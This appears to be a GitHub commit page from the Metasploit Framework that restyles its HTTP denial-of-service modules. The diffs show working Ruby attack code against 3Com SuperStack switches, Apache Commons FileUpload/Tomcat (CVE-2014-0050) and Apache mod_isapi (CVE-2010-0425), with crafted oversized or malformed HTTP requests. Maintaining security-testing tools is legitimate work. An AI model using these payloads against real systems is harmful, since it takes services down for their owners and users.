Skip to content

Commit 1f230f3

Browse files
dledda-r7dledda-r7
authored
Land rapid7#20153, modules/auxiliary/dos/http: Resolve RuboCop violations
Land rapid7#20153, modules/auxiliary/dos/http: Resolve RuboCop violations
2 parents 621840e + 1890f8a commit 1f230f3

31 files changed

+1317
-1127
lines changed

‎modules/auxiliary/dos/http/3com_superstack_switch.rb‎

Lines changed: 35 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -8,46 +8,51 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Dos
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => '3Com SuperStack Switch Denial of Service',
13-
'Description' => %q{
14-
This module causes a temporary denial of service condition
15-
against 3Com SuperStack switches. By sending excessive data
16-
to the HTTP Management interface, the switch stops responding
17-
temporarily. The device does not reset. Tested successfully
18-
against a 3300SM firmware v2.66. Reported to affect versions
19-
prior to v2.72.
20-
},
21-
'Author' => [ 'aushack' ],
22-
'License' => MSF_LICENSE,
23-
'References' =>
24-
[
11+
super(
12+
update_info(
13+
info,
14+
'Name' => '3Com SuperStack Switch Denial of Service',
15+
'Description' => %q{
16+
This module causes a temporary denial of service condition
17+
against 3Com SuperStack switches. By sending excessive data
18+
to the HTTP Management interface, the switch stops responding
19+
temporarily. The device does not reset. Tested successfully
20+
against a 3300SM firmware v2.66. Reported to affect versions
21+
prior to v2.72.
22+
},
23+
'Author' => [ 'aushack' ],
24+
'License' => MSF_LICENSE,
25+
'References' => [
2526
# aushack - I am not sure if these are correct, but the closest match!
2627
[ 'OSVDB', '7246' ],
2728
[ 'CVE', '2004-2691' ],
2829
[ 'URL', 'http://support.3com.com/infodeli/tools/switches/dna1695-0aaa17.pdf' ],
2930
],
30-
'DisclosureDate' => '2004-06-24'))
31+
'DisclosureDate' => '2004-06-24',
32+
'Notes' => {
33+
'Stability' => [CRASH_SERVICE_DOWN],
34+
'SideEffects' => [],
35+
'Reliability' => []
36+
}
37+
)
38+
)
3139

32-
register_options( [ Opt::RPORT(80) ])
40+
register_options([ Opt::RPORT(80) ])
3341
end
3442

3543
def run
36-
begin
37-
connect
38-
print_status("Sending DoS packet to #{rhost}:#{rport}")
44+
connect
45+
print_status("Sending DoS packet to #{rhost}:#{rport}")
3946

40-
sploit = "GET / HTTP/1.0\r\n"
41-
sploit << "Referer: " + Rex::Text.rand_text_alpha(1) * 128000
42-
43-
sock.put(sploit +"\r\n\r\n")
44-
disconnect
45-
print_error("DoS packet unsuccessful")
46-
rescue ::Rex::ConnectionRefused
47-
print_error("Unable to connect to #{rhost}:#{rport}")
48-
rescue ::Errno::ECONNRESET
49-
print_good("DoS packet successful. #{rhost} not responding.")
50-
end
47+
sploit = "GET / HTTP/1.0\r\n"
48+
sploit << 'Referer: ' + Rex::Text.rand_text_alpha(1) * 128000
5149

50+
sock.put(sploit + "\r\n\r\n")
51+
disconnect
52+
print_error('DoS packet unsuccessful')
53+
rescue ::Rex::ConnectionRefused
54+
print_error("Unable to connect to #{rhost}:#{rport}")
55+
rescue ::Errno::ECONNRESET
56+
print_good("DoS packet successful. #{rhost} not responding.")
5257
end
5358
end

‎modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb‎

Lines changed: 44 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -8,46 +8,53 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Dos
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS',
13-
'Description' => %q{
14-
This module triggers an infinite loop in Apache Commons FileUpload 1.0
15-
through 1.3 via a specially crafted Content-Type header.
16-
Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
17-
mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
18-
and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
19-
uses Commons FileUpload as part of the Manager application.
20-
},
21-
'Author' =>
22-
[
23-
'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.
24-
'ribeirux' # metasploit module
25-
],
26-
'License' => MSF_LICENSE,
27-
'References' =>
28-
[
29-
['CVE', '2014-0050'],
30-
['URL', 'https://tomcat.apache.org/security-8.html'],
31-
['URL', 'https://tomcat.apache.org/security-7.html']
32-
],
33-
'DisclosureDate' => '2014-02-06'
34-
))
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS',
15+
'Description' => %q{
16+
This module triggers an infinite loop in Apache Commons FileUpload 1.0
17+
through 1.3 via a specially crafted Content-Type header.
18+
Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
19+
mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
20+
and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
21+
uses Commons FileUpload as part of the Manager application.
22+
},
23+
'Author' => [
24+
'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.
25+
'ribeirux' # metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' => [
29+
['CVE', '2014-0050'],
30+
['URL', 'https://tomcat.apache.org/security-8.html'],
31+
['URL', 'https://tomcat.apache.org/security-7.html']
32+
],
33+
'DisclosureDate' => '2014-02-06',
34+
'Notes' => {
35+
'Stability' => [CRASH_SERVICE_DOWN],
36+
'SideEffects' => [],
37+
'Reliability' => []
38+
}
39+
)
40+
)
3541

36-
register_options(
37-
[
38-
Opt::RPORT(8080),
39-
OptString.new('TARGETURI', [ true, "The request URI", '/']),
40-
OptInt.new('RLIMIT', [ true, "Number of requests to send",50])
41-
])
42+
register_options(
43+
[
44+
Opt::RPORT(8080),
45+
OptString.new('TARGETURI', [ true, 'The request URI', '/']),
46+
OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50])
47+
]
48+
)
4249
end
4350

4451
def run
45-
boundary = "0"*4092
52+
boundary = '0' * 4092
4653
opts = {
47-
'method' => "POST",
48-
'uri' => normalize_uri(target_uri.to_s),
49-
'ctype' => "multipart/form-data; boundary=#{boundary}",
50-
'data' => "#{boundary}00000",
54+
'method' => 'POST',
55+
'uri' => normalize_uri(target_uri.to_s),
56+
'ctype' => "multipart/form-data; boundary=#{boundary}",
57+
'data' => "#{boundary}00000",
5158
'headers' => {
5259
'Accept' => '*/*'
5360
}
@@ -63,13 +70,12 @@ def run
6370
r = c.request_cgi(opts)
6471
c.send_request(r)
6572
# Don't wait for a response
66-
rescue ::Rex::ConnectionError => exception
67-
print_error("Unable to connect: '#{exception.message}'")
73+
rescue ::Rex::ConnectionError => e
74+
print_error("Unable to connect: '#{e.message}'")
6875
return
6976
ensure
7077
disconnect(c) if c
7178
end
7279
end
7380
end
7481
end
75-

‎modules/auxiliary/dos/http/apache_mod_isapi.rb‎

Lines changed: 52 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -8,38 +8,38 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Dos
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => 'Apache mod_isapi Dangling Pointer',
13-
'Description' => %q{
14-
This module triggers a use-after-free vulnerability in the Apache
15-
Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
16-
In order to reach the vulnerable code, the target server must have an
17-
ISAPI module installed and configured.
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Apache mod_isapi Dangling Pointer',
15+
'Description' => %q{
16+
This module triggers a use-after-free vulnerability in the Apache
17+
Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
18+
In order to reach the vulnerable code, the target server must have an
19+
ISAPI module installed and configured.
1820
19-
By making a request that terminates abnormally (either an aborted TCP
20-
connection or an unsatisfied chunked request), mod_isapi will unload the
21-
ISAPI extension. Later, if another request comes for that ISAPI module,
22-
previously obtained pointers will be used resulting in an access
23-
violation or potentially arbitrary code execution.
21+
By making a request that terminates abnormally (either an aborted TCP
22+
connection or an unsatisfied chunked request), mod_isapi will unload the
23+
ISAPI extension. Later, if another request comes for that ISAPI module,
24+
previously obtained pointers will be used resulting in an access
25+
violation or potentially arbitrary code execution.
2426
25-
Although arbitrary code execution is theoretically possible, a
26-
real-world method of invoking this consequence has not been proven. In
27-
order to do so, one would need to find a situation where a particular
28-
ISAPI module loads at an image base address that can be re-allocated by
29-
a remote attacker.
27+
Although arbitrary code execution is theoretically possible, a
28+
real-world method of invoking this consequence has not been proven. In
29+
order to do so, one would need to find a situation where a particular
30+
ISAPI module loads at an image base address that can be re-allocated by
31+
a remote attacker.
3032
31-
Limited success was encountered using two separate ISAPI modules. In
32-
this scenario, a second ISAPI module was loaded into the same memory
33-
area as the previously unloaded module.
34-
},
35-
'Author' =>
36-
[
37-
'Brett Gervasoni', # original discovery
33+
Limited success was encountered using two separate ISAPI modules. In
34+
this scenario, a second ISAPI module was loaded into the same memory
35+
area as the previously unloaded module.
36+
},
37+
'Author' => [
38+
'Brett Gervasoni', # original discovery
3839
'jduck'
3940
],
40-
'License' => MSF_LICENSE,
41-
'References' =>
42-
[
41+
'License' => MSF_LICENSE,
42+
'References' => [
4343
[ 'CVE', '2010-0425' ],
4444
[ 'OSVDB', '62674'],
4545
[ 'BID', '38494' ],
@@ -48,7 +48,14 @@ def initialize(info = {})
4848
[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
4949
[ 'EDB', '11650' ]
5050
],
51-
'DisclosureDate' => '2010-03-05'))
51+
'DisclosureDate' => '2010-03-05',
52+
'Notes' => {
53+
'Stability' => [CRASH_SERVICE_DOWN],
54+
'SideEffects' => [],
55+
'Reliability' => []
56+
}
57+
)
58+
)
5259

5360
register_options([
5461
Opt::RPORT(80),
@@ -57,37 +64,35 @@ def initialize(info = {})
5764
end
5865

5966
def run
60-
61-
serverIP = datastore['RHOST']
67+
server_ip = datastore['RHOST']
6268
if (datastore['RPORT'].to_i != 80)
63-
serverIP += ":" + datastore['RPORT'].to_s
69+
server_ip += ':' + datastore['RPORT'].to_s
6470
end
65-
isapiURI = datastore['ISAPI']
71+
isapi_uri = datastore['ISAPI']
6672

6773
# Create a stale pointer using the vulnerability
68-
print_status("Causing the ISAPI dll to be loaded and unloaded...")
69-
unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
70-
"Pragma: no-cache\r\n" +
71-
"Proxy-Connection: Keep-Alive\r\n" +
72-
"Host: " + serverIP + "\r\n" +
73-
"Transfer-Encoding: chunked\r\n" +
74-
"Content-Length: 40334\r\n\r\n" +
75-
Rex::Text.rand_text_alphanumeric(rand(128)+128)
74+
print_status('Causing the ISAPI dll to be loaded and unloaded...')
75+
unload_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \
76+
"Pragma: no-cache\r\n" \
77+
"Proxy-Connection: Keep-Alive\r\n" \
78+
'Host: ' + server_ip + "\r\n" \
79+
"Transfer-Encoding: chunked\r\n" \
80+
"Content-Length: 40334\r\n\r\n" +
81+
Rex::Text.rand_text_alphanumeric(128..255)
7682
connect
7783
sock.put(unload_trigger)
7884
disconnect
7985

8086
# Now make the stale pointer get used...
81-
print_status("Triggering the crash ...")
82-
data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)
83-
crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
84-
"Host: " + serverIP + "\r\n" +
85-
"Content-Length: #{data.length}\r\n\r\n" +
86-
data
87+
print_status('Triggering the crash ...')
88+
data = Rex::Text.rand_text_alphanumeric(1337..1592)
89+
crash_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \
90+
'Host: ' + server_ip + "\r\n" \
91+
"Content-Length: #{data.length}\r\n\r\n" +
92+
data
8793

8894
connect
8995
sock.put(crash_trigger)
9096
disconnect
91-
9297
end
9398
end

0 commit comments

Comments
 (0)